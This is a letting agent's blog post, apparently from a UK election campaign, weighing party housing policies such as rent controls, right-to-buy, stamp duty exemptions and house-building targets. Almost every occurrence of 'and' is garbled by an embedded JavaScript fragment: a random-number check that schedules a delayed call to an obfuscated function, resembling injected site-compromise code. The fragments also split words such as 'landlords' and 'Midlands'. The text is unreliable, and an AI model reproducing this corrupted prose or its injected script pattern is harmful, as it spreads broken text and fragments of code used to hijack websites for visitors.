Politics, politics, politics:

As much as we try to ignore the noise andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rhetoric of the political world, it would only be fair for us to offer our investors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and readers some of our thoughts on the election andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the potential impact on residential investment. It is widely known that housing as a sector is the darling of politics; playing to the emotional pangs of “our home is our castle” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and being the property owning country that we all aspire to be. So, it is, with this as with many other elections that housing is thrust to the fore as a vote winner.

For homeowners; we have been through a period of price stability, followed by a slowly rising market in the Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and East of Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and over the last 18 months. If the price of their property is going up, then the assumption is that all is well, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and therefore homeowners should vote for whoever is in power. Fair enough.

For tenants; In the past decade the number of home owners has fallen andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the number of people renting private accommodation has increased significantly; so how do politicians win the tenants vote? Labour have promised to introduce rent controls on private landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords if elected. We are not economists, but price controls typically end up reducing supply, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we know that reducing supply of private rental accomodation would not help tenants in the least. Rental levels at the moment are apparently inflated, these inflated prices would then rise further by inflation.  

For aspirational homeowners; The constaints on mortgage lending have led them to the bank of mum andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dad. However, there is still the fundamental issue of affordability. If one cannot afford a house now, with base rates at 0.5% then what will happen in years to come should interest rates move upwards which surely they will?  The Conservatives have decided to extend ‘right-to-buy’ to housing association properties andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the help to buy scheme continues, including a new form of ISA saving. Labour have not pussy footed around andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are offering stamp duty exemption for any property under £300,000.

For Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords; The Conservatives seem to be happy to keep the market as is andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and encourage institutional ownership of residential property; all well andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and good. Labour want three-year tenancies rather than six-month ones. There would be a six-month break clause, before the deal was signed for a further two andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a half years. Rents would then be capped over those three years, at the rate of consumer price inflation. Then all that would simply happen is landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords will revise up their rents andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and start off on another 3 year tenancy. Labour’s policy could well be counter-productive as new large landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and investors may be deterred from buying andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and building new homes to rent. Surely, instead of rent controls, instead of stamp duty perks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and instead of the rather bizarre extension to the “right to buy” legislation, the key to the whole housing “crisis” is to build more homes. A sustainable increase in the long term supply of housing is needed, in our humble opinion. Academics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Economists have claimed for years that the rate of new home completions needed is 200-300,000 homes per year. In 2013/14 there were about 120,000 homes completed in the UK. So what are the political parties targets? Conservatives politely decline stating a figure but admit supply needs increase, Labour 200,000 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Lib Dems 300,000. If one asks the experts at house building, namely the house builders, then they state a target of any more than 180,000 is unachievable! It is all very well setting a target, indeed the same target as in the last 10 years, but if it is not achieved then that is all it is; a target. And it does seem that no single party can clearly lay out how exactly they are going to achieve these targets.

As for letting agents, it seems we have become more unpopular than bankers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and estate agents, don’t worry Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords arent seen as much better! Labour wants to ban letting agents charging fees to tenants. There is no understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding of the huge amount of work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and legislation that is undertaken for the fees incurred; deposit legislation, ombudsman membership, referencing, credit checks, tenant introductions, management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance, gas safety, electrical safety, fixtures, fittings, furnishings, the list goes on………let alone assisting the government with immigration matters.

We should never have started on this subject!